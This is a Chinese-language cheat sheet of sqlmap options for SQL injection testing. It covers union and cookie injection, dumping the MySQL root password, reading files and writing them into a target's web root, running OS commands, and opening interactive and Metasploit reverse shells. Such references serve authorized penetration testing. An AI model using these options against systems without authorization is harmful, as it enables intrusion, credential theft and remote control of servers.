–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)


–os #指定系统(Linux,Windows)


--sql -shell  写shell


--delay 延迟的时间


--safe-freq 次数


-v #详细的等级(0-6)


0:只显示Python的回溯,错误和关键消息。


1:显示信息和警告消息。


2:显示调试消息。


3:有效载荷注入。


4:显示HTTP请求。


5:显示HTTP响应头。


6:显示HTTP响应页面的内容


–privileges #查看权限


–is-dba #是否是数据库管理员


–roles #枚举数据库用户角色


–udf-inject #导入用户自定义函数(获取系统权限)


–union-check #是否支持union 注入


–union-cols #union 查询表记录


–union-test #union 语句测试


–union-use #采用union 注入


–union-tech orderby #union配合order by


–method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″)


–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)


–referer “” #使用referer欺骗(–referer “https://www.baidu.com”)


–user-agent “” #自定义user-agent


–proxy “https://127.0.0.1:8118″ #代理注入


–string “” #指定关键词


–threads    #采用多线程(–threads 3)


–sql-shell #执行指定sql命令


–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )


–file-read #读取指定文件


–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)


–file-dest #要写入的文件绝对路径


–os-cmd=id #执行系统命令


–os-shell #系统交互shell


–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)


–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)


–os-smbrelay #


–os-bof #


–reg-read #读取win系统注册表


–priv-esc #


–time-sec= #延迟设置 默认–time-sec=5 为5秒


-p “user-agent” –user-agent “sqlmap/0.7rc1 (https://sqlmap.sourceforge.net)” #指定user-agent注入


–eta #盲注


/pentest/database/sqlmap/txt/


common-columns.txt  字段字典


common-outputs.txt


common-tables.txt 表字典


keywords.txt


oracle-default-passwords.txt


user-agents.txt


wordlist.txt